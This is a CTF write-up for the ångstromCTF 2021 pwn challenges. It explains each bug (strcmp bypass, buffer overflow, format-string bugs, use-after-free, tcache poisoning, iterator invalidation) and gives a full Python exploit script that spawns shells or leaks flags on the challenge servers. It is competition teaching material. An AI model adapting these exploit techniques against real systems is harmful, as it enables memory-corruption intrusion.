CTFするぞ

CTF以外のことも書くよ

ångstromCTF 2021 Writeups

This week I played ångstromCTF 2021 in zer0pts and we stood the 3rd place.

f:id:ptr-yudai:20210408114919p:plain

I solved all of the pwn tasks + some rev tasks*1 + bug-finding part of thunderbolt (crypto). As there're many number of challenges, I'm only going to write about the pwn tasks.

[Binary 50pts] Secure Login (318 solves)

We're given the binary and its source code. The challenge is to bypass the following authentication.

fgets(input, 128, stdin);
if (strcmp(input, password) == 0) {

The password is generated randomly.

void generate_password() {
        FILE *file = fopen("/dev/urandom","r");
        fgets(password, 128, file);
        fclose(file);
}

strcmp terminates the comparison at the null byte. We can abuse the fact to bypass the auth by comparing an empty string and an empty password.

from ptrlib import *

sock = SSH("shell.actf.co", 22, "team token", "team password")

sock.sendlineafter("$ ", "cd /problems/2021/secure_login/")

logger.info("Connected!")
while True:
    sock.sendlineafter("$ ", "./login")
    sock.recvline()
    sock.recvline()
    sock.sendline('\x00')
    sock.recvline()
    l = sock.recvline()
    print(l)
    if b'Wrong' in l:
        continue
    break

sock.interactive()

[Binary 70pts] tranquil (488 solves)

Just a simple buffer overflow.

int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");
    
    gets(&password);
    
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    
    return 0;
}

No PIE and no canary.

from ptrlib import *

elf = ELF("./tranquil")
#sock = Process("./tranquil")
sock = Socket("nc shell.actf.co 21830")

rop_ret = 0x0040101a

sock.recvline()
payload  = b'A' * (64 + 8)
payload += p64(rop_ret)
payload += p64(elf.symbol('win'))
sock.sendline(payload)

sock.interactive()

[Binary 80pts] Sanity Checks (374 solves)

Again, obvious buffer overflow.

    gets(&password);
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) {
                            char flag[128];
                            
                            FILE *f = fopen("flag.txt","r");
                            ...

We don't need to pass the constraints.

from ptrlib import *

elf = ELF("./checks")
#sock = Process("./checks")
sock = Socket("nc shell.actf.co 21303")

payload = b"A" * 0x60
payload += p64(elf.section('.bss') + 0x100)
payload += p64(0x40125a)
sock.sendline(payload)

sock.interactive()

[Binary 90pts] stickystacks (309 solves)

Obvious FSB and the flag is on the stack.

    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
    printf("Welcome, ");
    printf(name);
    printf("\n");

Just leak it.

from ptrlib import *

flag = b''
for i in range(114514):
    sock = Socket("nc shell.actf.co 21820")
    sock.recvline()
    sock.sendline("%{}$p".format(33 + i))
    l = sock.recvlineafter("Welcome, ")
    if l == b'(nil)': break
    flag += p64(int(l, 16))
    sock.close()

print(flag)

[Binary 100pts] RAiid Shadow Legends (172 solves)

The binary is made by C++ but we have the source code again :+1: Our goal is set skill to 1337 in the following structure.

struct character {
        int health;
        int skill;
        long tokens;
        string name;
};

However, this field is never initialized.

void play() {
        string action;
        character player;
        cout << "Enter your name: " << flush;
        getline(cin, player.name);
        cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;

At the address of player.skill comes the leftover value of std::string agreement in the previously called function terms_and_conditions.

        cout << "Do you agree to the terms and conditions? " << flush;
        cin >> agreement;

So, we just have to put 1337 there.

from ptrlib import *

#sock = Process("./raiid_shadow_legends")
sock = Socket("nc shell.actf.co 21300")

sock.sendlineafter("? ", "1")
sock.sendlineafter("? ", b"AAAA" + p32(1337) + b'CCCC')
sock.sendlineafter("? ", "yes")
sock.sendlineafter(": ", "aaaabbbbcccc")
sock.sendlineafter(": ", "111122223333")
sock.sendlineafter("? ", "2")

sock.interactive()

[Binary 200pts] Pawn (43 solves)

We're given a chess game and its source code. There're multiple vulnerability but the most notable one is this:

int smite_piece(char** b, int x, int y) {
    if (is_letter(b[y][x])) {
        b[y][x] = t;
        return 0;
    }
    return 1;
}

is_letter check if the character is an alphabet. There's no boundary check on the integer x and y. t is the number of moves we've made so far. So, basically we can overwrite "alphabets" with arbitrary bytes. b is the board allocated on the heap and we need to know its address in order to take advantage of this vulnerability.

Another notable vulnerability is use-after-free. We can see the board even after it's freed. I used this vulnerability to leak the heap address first.

new(0)
new(1)
delete(1)
delete(0)
show(0)
addr_heap = u64(sock.recvlineafter("0 "))
heap_base = addr_heap - 0x1350
logger.info("heap = " + hex(heap_base))

How can we abuse the primitive of "overwriting alphabets"? First of all, I noticed the following string located at the bss section.

char starting[] =
    "RNBKQBNR\x00PPPPPPPP\x00........\x00........\x00........\x00........"
    "\x00pppppppp\x00rnbkqbnr";

Those consecutive alphabets can be used to put arbitrary address. My idea is corrupt tcache so that the link becomes like this:

tcache --> ... --> starting

Then, modifying RNBKQBNR to somewhere around __free_hook make the link like this:

tcache --> ... --> starting --> __free_hook

Now we consume the tcache until we pop __free_hook. When making a new board, starting is copied to the board.

char* make_board(char** b) {
    char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char));
    memcpy(bigmem, starting, sizeof(starting));
    for (int i = 0; i < tiles; i++) {
        b[i] = bigmem + i * 9;
    }
    return bigmem;
}

This can be used to write an arbitrary value.

The question is: Can we link the tcache to starting?

The answer is mostly no but sometimes yes. I tried until I get "alphabetical" heap address. Then we can modify the linked list by the first vulnerability.

from ptrlib import *

def new(index):
    sock.sendlineafter("Delete Board\n", "1")
    sock.sendlineafter("?\n", str(index))
def delete(index):
    sock.sendlineafter("Delete Board\n", "5")
    sock.sendlineafter("?\n", str(index))
def show(index):
    sock.sendlineafter("Delete Board\n", "2")
    sock.sendlineafter("?\n", str(index))
def smite(index, x, y):
    sock.sendlineafter("Delete Board\n", "4")
    sock.sendlineafter("?\n", str(index))
    sock.sendlineafter(".\n", str(x) + " " + str(y))
def move(index, sx, sy, dx, dy):
    global t
    sock.sendlineafter("Delete Board\n", "3")
    sock.sendlineafter("?\n", str(index))
    sock.sendlineafter(".\n", str(sx) + " " + str(sy))
    sock.sendlineafter(".\n", str(dx) + " " + str(dy))
    t += 1
kx = 0b01
def keima_pivot(index):
    global kx
    if kx == 0b01:
        move(index, 1, 7, 2, 5)
    else:
        move(index, 2, 5, 1, 7)
    kx ^= 0b11
t = 0
def overwrite(addr, c):
    print((0x100 + c - t) & 0xff)
    for i in range((0x100 - t + c) & 0xff):
        keima_pivot(0)
    smite(0, addr - addr_board_0, 0)
def is_letter(c):
    return ord('a') <= c <= ord('z') or ord('A') <= c <= ord('Z')

elf = ELF("./pawn")
libc = ELF("./libc.so.6")

while True:
    #sock = Socket("localhost", 9999)
    sock = Socket("nc shell.actf.co 21706")

    # heap leak
    new(0)
    new(1)
    delete(1)
    delete(0)
    show(0)
    addr_heap = u64(sock.recvlineafter("0 "))
    addr_board = addr_heap - 0xa0
    addr_board_0 = addr_heap - 0x50
    heap_base = addr_heap - 0x1350
    logger.info("heap = " + hex(heap_base))

    # check if address if valid
    p = heap_base + 0x13f0
    key = (p >> 16) & 0xff
    if not is_letter((p >> 8) & 0xff) \
       or (not is_letter(key) and key != 0x40):
        logger.warn('Bad luck!')
        sock.close()
        continue

    logger.info("board = " + hex(addr_board))
    logger.info("board[0] = " + hex(addr_board_0))

    # libc leak
    new(0)
    new(1)
    new(2)
    if key != 0x40:
        overwrite(heap_base + 0x13fa, 0x40)
    overwrite(heap_base + 0x13f9, 0x40)
    overwrite(heap_base + 0x13f8, 0x80)
    show(2)
    libc_base = u64(sock.recvlineafter("1 ")) - libc.symbol('_IO_2_1_stdout_')
    logger.info("libc = " + hex(libc_base))

    # tcache poisoning
    delete(0)
    delete(1)
    delete(2)
    overwrite(heap_base + 0x1440, 0x20)
    overwrite(heap_base + 0x1441, 0x40)
    if key != 0x40:
        overwrite(heap_base + 0x1442, 0x40)

    # prepare fake chunk
    writes = {}
    victim = libc_base + libc.symbol('__free_hook') - 0x40
    for i in range(8):
        writes[0x404020 + i] = (victim >> (i*8)) & 0xff
    target = libc_base + 0xe6c81
    for i in range(7):
        writes[0x404060 + i] = (target >> (i*8)) & 0xff
    for write in sorted(writes.items(), key=lambda k:(0x100+k[1]-t)&0xff):
        overwrite(write[0], write[1])

    # overwrite victim
    new(0)
    new(1)
    delete(0)

    sock.interactive()
    break

[Binary 210pts] wallstreet (29 solves)

Finally, source code not provided :(

The challenge is FSB with filter. We cannot use the following characters: AEFGXadefgiopsux and can use c only once. Before igniting the FSB, there's one out-of-bound pointer read, with which we can leak an address.

I don't like to explain this kind of FSB puzzle, so I just leave the exploit.

from ptrlib import *

def is_allowed(s):
    if s.count('c') > 1:
        raise Exception("more than 1 'c'")
    for c in s:
        if c in 'AEFGXadefgiopsux':
            raise Exception(f"invalid char '{c}'")

libc = ELF("./libc.so.6")

while True:
    #sock = Socket("localhost", 9999)
    sock = Socket("nc pwn.2021.chall.actf.co 21800")

    # leak stack address
    sock.sendlineafter("stonks!\n", "1")
    sock.sendlineafter("?\n", "43")
    addr_ret = u64(sock.recvline()) - 0x108
    logger.info("ret = " + hex(addr_ret))
    if addr_ret < 0:
        logger.warn("Bad luck!")
        sock.close()
        continue

    # call main again
    payload = ''
    payload += '%*%' * (5 + 0x2d - 1)
    payload += '%{}c'.format((addr_ret & 0xffff) - 0x31)
    payload += '%hn'
    if (addr_ret & 0xff) <= 0x4d:
        payload += '.' * (0x4d - (addr_ret & 0xff))
    else:
        payload += '.' * (0x14d - (addr_ret & 0xff))
    payload += '%{}$hhn'.format(5 + 0x49)
    payload += '\n'
    if len(payload) >= 0x12c:
        logger.warn("Bad luck!")
        sock.close()
        continue
    payload += '\x00' * (0x12c - len(payload))
    sock.sendafter("?\n", payload)
    sock.recvline()
    sock.recvline()

    # libc leak
    sock.sendlineafter("?\n", "-16")
    libc_base = u64(sock.recvline()) - libc.symbol('_IO_2_1_stdout_')
    logger.info("libc = " + hex(libc_base))

    target = libc_base + 0xdf54f
    victim = 0x404068
    # overwrite exit@got
    for i in range(6):
        # prepare address
        payload = ''
        if i == 0:
            payload += '%{}c'.format((victim + i) & 0xffff)
            payload += '%{}$hn'.format(5 + 0x2b)
        else:
            payload += '%{}c'.format((victim + i) & 0xff)
            payload += '%{}$hhn'.format(5 + 0x2b)
        payload += '.' * (0x14d - ((victim + i) & 0xff))
        payload += '%{}$hhn'.format(5 + 0x49)
        payload += '\n'
        payload += '\x00' * (0x12c - len(payload))
        sock.sendafter("?\n", payload)
        sock.recvline()
        sock.recvline()
        # whatever
        sock.sendlineafter("?\n", "0")

        # write one byte + call main again
        payload = ''
        payload += '%{}c'.format((target >> (i*8)) & 0xff)
        payload += '%{}$hhn'.format(5 + 0x4b)
        if ((target >> (i*8)) & 0xff) <= 0x4d:
            payload += '.' * (0x4d - ((target >> (i*8)) & 0xff))
        else:
            payload += '.' * (0x14d - ((target >> (i*8)) & 0xff))
        payload += '%{}$hhn'.format(5 + 0x49)
        payload += '\n'
        payload += '\x00' * (0x12c - len(payload))
        sock.sendafter("?\n", payload)
        sock.recvline()
        sock.recvline()
        # whatever
        sock.sendlineafter("?\n", "0")

    sock.sendlineafter("?\n", "panda-sensei")
    sock.interactive()
    break

[Binary 250pts] UQL (11 solves)

Source code provided yay!

We can insert, modify, remove, display a list. By fuzzing the binary, I found the vulnerability.

for (vector<string>::iterator it = db.begin(); it != db.end(); it++) {
  ...
  if (find(op.removals.begin(), op.removals.end(), data) != op.removals.end())
    db.erase(it);
  ...
}

We can remove an element during the iteration. This usually just skips some elements and doesn't cause any crashes. However, we can cause a bug if we remove the element in the final iteration.

Let's denote the current address of db.end() as X. In the final iteration, it points the address X-8. By removing the element, db.end() becomes X-8. However, it is added by 8 at the end of the iteration and becomes X. Then, it != db.end() holds because X != X-8, and the iteration won't stop. Fortunately C++ conducts some assertion checks and the program won't crash (since it's caught in the main function). If we can put a fake std::string next to db, we may do some operations on the fake string.

My idea is

  1. Prepare a leftover of freed std::string next to db and leak the heap address by display
  2. Prepare a fake std::string which points to the main_arena address on the heap, then leak it again by display
  3. Prepare a fake std::string which points to __free_hook, then overwrite it by modify

I like this challenge :-)

from ptrlib import *

def insert(data):
    return f' insert {data}'
def remove(data):
    return f' remove {data}'
def modify(data, index, char):
    return f' modify {data} to be {char} at {index}'
def display():
    return " display everything"
def execute(code):
    sock.sendlineafter("> ", code)

libc = ELF("./libc.so.6")
#sock = Socket("localhost", 9999)
sock = Socket("nc shell.actf.co 21321")

"""
Step 1. heap leak
"""
code = ''
code += insert('A' * 0x10)
code += insert('B' * 0x10)
code += insert('C' * 0x10)
code += remove('C' * 0x10)
execute(code)
code = remove('B' * 0x10)
execute(code)
code = display()
code += remove('A' * 0x10)
execute(code)
addr_heap = u64(sock.recvline()[:8])
logger.info("heap = " + hex(addr_heap))

"""
Step 2. libc leak
"""
payload  = b'A' * 0xc0
payload += p64(addr_heap + 0x20) # fake std::string
payload += p64(0x8)
payload += p64(0x8)
payload += p64(0)
payload += b'A' * (0x100 - len(payload))
execute(payload)
code = ''
for i in range(6):
    code += insert(chr(0x41 + i) * 8)
execute(code)
payload = b'X' * 0x420
execute(payload)
code = display()
code += remove(chr(0x46) * 8)
execute(code)
for i in range(5):
    sock.recvline()
libc_base = u64(sock.recvline()) - libc.main_arena() - 0x70
logger.info("libc = " + hex(libc_base))

"""
Step 3. AAW to win
"""
payload  = b'B' * 0x1a0
payload += p64(libc_base + libc.symbol('__free_hook')) # fake std::string
payload += p64(8)
payload += p64(8)
payload += p64(0)
payload += b'B' * (0x200 - len(payload))
execute(payload)
code = ''
for i in range(8):
    code += insert(chr(0x61 + i) * 8)
code += remove(chr(0x68) * 8)
target = libc_base + libc.symbol('system')
for i in range(6):
    code += modify('\x00' * 8, i, chr((target >> (i*8)) & 0xff))
execute(code)

"""
Step 4. Execute command
"""
execute("/bin/sh" + "\0"*0x10)

sock.interactive()

First blood :P

[Binary 300pts] carpal tunnel syndrome (27 solves)

No source code :(

Although the binary is pretty big, the vulnerability is obvious.

  1. Obvious address leak in the bingo form
  2. Obvious use-after-free in the linked list of the bingo

Just chain them.

from ptrlib import *

def mark(x, y):
    sock.sendlineafter(": ", "1")
    sock.sendlineafter(": ", f'{x} {y}')
def view(x, y):
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", f'{x} {y}')
def reset(index, is_row=True):
    sock.sendlineafter(": ", "3")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", 'r' if is_row else 'c')
def check_bingo(index, is_row=True):
    sock.sendlineafter(": ", "4")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", 'r' if is_row else 'c')
def check_bingos():
    sock.sendlineafter(": ", "5")
def change_marker(marker):
    sock.sendlineafter(": ", "6")
    sock.sendafter(": ", marker)
def winner(size, name):
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", name)

libc = ELF("./libc.so.6")
#sock = Socket("localhost", 9999)
sock = Socket("nc pwn.2021.chall.actf.co 21840")

sock.sendafter(": ", "legoshi")

# leak proc base
for i in range(5):
    mark(1, i)
check_bingos()
sock.sendlineafter('? ', 'y')
winner(0x27, b'A'*0x18 + b'\x20\xb1')
proc_base = u64(sock.recvlineafter("A"*0x18)[:6]) - 0x5120
logger.info("proc = " + hex(proc_base))

# leak libc base
view(1, 4)
logger.info("Re-try if nothing appears in 1 sec")
libc_base = u64(sock.recvlineafter(": ")) - libc.symbol('_IO_2_1_stderr_')
logger.info('libc = ' + hex(libc_base))
if libc_base > 0x7fffffffffff or libc_base < 0:
    logger.warn("Bad luck!")
    exit()

# tcache poisoning
change_marker(p64(libc_base + target)) # target = whichever address to overwrite
mark(1, 1)
reset(0, is_row=True)

# overwrite with one gadget
change_marker(p64(libc_base + 0xe6c7e))
mark(1, 2)

sock.sendlineafter(": ", "3")
sock.sendlineafter(": ", "0")
sock.sendlineafter(": ", "X")

sock.interactive()

*1:jailbreak, flag submission server, masochistic snake + infinity gauntlet, lockpicking, mosquito with the help of x0r19x91 sensei